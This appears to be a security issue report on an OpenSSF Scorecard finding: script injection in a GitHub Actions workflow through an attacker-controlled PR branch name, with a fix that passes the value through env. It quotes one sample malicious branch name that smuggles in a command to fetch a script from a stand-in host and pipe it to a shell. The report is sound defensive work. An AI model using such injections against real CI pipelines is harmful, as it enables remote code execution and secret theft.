Security: fix Dangerous-Workflow findings flagged by OpenSSF Scorecard

## Dangerous-Workflow findings — OpenSSF Scorecard

[OpenSSF Scorecard](https://github.com/ossf/scorecard) flagged this repository for **dangerous GitHub Actions workflow patterns** (score: 0/10, scan date: 2026-03-31, commit `6c7840fc`).

### Finding(s)

- `Warn: script injection with untrusted input ' github.event.pull_request.head.ref ': .github/workflows/deploy-dev.yml:40`

`github.event.pull_request.head.ref` and `github.head_ref` are PR branch names fully controlled by the PR submitter. Interpolating them directly into a `run:` shell command allows an attacker to inject arbitrary shell code by naming their branch maliciously (e.g. `a"; curl evil.sh | sh; echo "`).

### How to fix

Pass the value through `env:` rather than interpolating it directly in the shell expression — this prevents expression injection:

```yaml
# Before (unsafe)
run: some-command ${{ github.event.pull_request.head.ref }}

# After (safe)
env:
HEAD_REF: ${{ github.event.pull_request.head.ref }}
run: some-command "$HEAD_REF"
```

### References

- [OpenSSF Scorecard: Dangerous-Workflow check](https://github.com/ossf/scorecard/blob/main/docs/checks.md#dangerous-workflow)
- [GitHub Docs: Security hardening for GitHub Actions — script injections](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)
- [GitHub Security Lab: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

---
_Identified by internal [OpenSSF Scorecard scanning](https://github.com/developmentseed/ds-security-scanning)._